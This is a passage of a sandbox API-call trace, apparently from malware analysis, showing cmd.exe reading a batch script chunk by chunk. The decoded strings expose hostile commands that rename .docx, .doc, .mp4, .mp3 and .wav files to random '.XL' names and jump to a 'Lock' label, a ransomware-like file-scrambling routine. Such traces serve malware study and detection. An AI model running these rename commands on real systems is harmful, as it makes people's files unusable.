lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0039.033] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=1417, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0039.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0039.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0039.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.033] GetFileType (hFile=0x74) returned 0x1 [0039.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0039.034] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=1444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0039.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\nn\r\n") returned 27 [0039.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0039.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.034] GetFileType (hFile=0x74) returned 0x1 [0039.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0039.034] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=1455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0039.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0039.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0039.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.034] GetFileType (hFile=0x74) returned 0x1 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0039.035] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=1457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0039.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0039.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.035] GetFileType (hFile=0x74) returned 0x1 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0039.035] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=1463, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0039.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0039.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0039.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.035] GetFileType (hFile=0x74) returned 0x1 [0039.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0039.036] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=1465, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0039.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0039.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0039.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.036] GetFileType (hFile=0x74) returned 0x1 [0039.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0039.036] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=1491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0039.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0039.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0039.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.036] GetFileType (hFile=0x74) returned 0x1 [0039.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0039.037] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.037] SetFilePointer (in: hFile=0x74, lDistanceToMove=1502, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0039.037] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0039.037] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.037] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0039.037] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.037] GetFileType (hFile=0x74) returned 0x1 [0039.037] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0039.037] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.037] SetFilePointer (in: hFile=0x74, lDistanceToMove=1504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0039.038] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.038] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.038] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0039.038] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.038] GetFileType (hFile=0x74) returned 0x1 [0039.038] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0039.038] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.038] SetFilePointer (in: hFile=0x74, lDistanceToMove=1510, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0039.038] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0039.038] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.038] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0039.038] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.038] GetFileType (hFile=0x74) returned 0x1 [0039.038] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0039.038] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.038] SetFilePointer (in: hFile=0x74, lDistanceToMove=1512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0039.038] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0039.039] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0039.039] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.039] GetFileType (hFile=0x74) returned 0x1 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0039.039] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0039.039] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0039.039] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0039.039] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.039] GetFileType (hFile=0x74) returned 0x1 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0039.039] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=1549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0039.039] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0039.039] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.039] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0039.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.040] GetFileType (hFile=0x74) returned 0x1 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0039.040] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=1551, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0039.040] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0039.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.040] GetFileType (hFile=0x74) returned 0x1 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0039.040] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=1557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0039.040] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0039.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0039.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.040] GetFileType (hFile=0x74) returned 0x1 [0039.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0039.041] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=1559, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0039.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0039.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0039.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.041] GetFileType (hFile=0x74) returned 0x1 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0039.041] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=1585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0039.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0039.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0039.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.041] GetFileType (hFile=0x74) returned 0x1 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0039.041] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=1596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0039.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0039.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0039.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.042] GetFileType (hFile=0x74) returned 0x1 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0039.042] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=1598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0039.042] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0039.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.042] GetFileType (hFile=0x74) returned 0x1 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0039.042] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=1604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0039.042] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0039.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0039.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.042] GetFileType (hFile=0x74) returned 0x1 [0039.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0039.043] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=1606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0039.043] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0039.043] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0039.043] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.043] GetFileType (hFile=0x74) returned 0x1 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0039.043] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=1632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0039.043] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0039.043] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0039.043] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.043] GetFileType (hFile=0x74) returned 0x1 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0039.043] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.043] SetFilePointer (in: hFile=0x74, lDistanceToMove=1643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0039.043] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0039.044] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0039.044] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.044] GetFileType (hFile=0x74) returned 0x1 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0039.044] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, 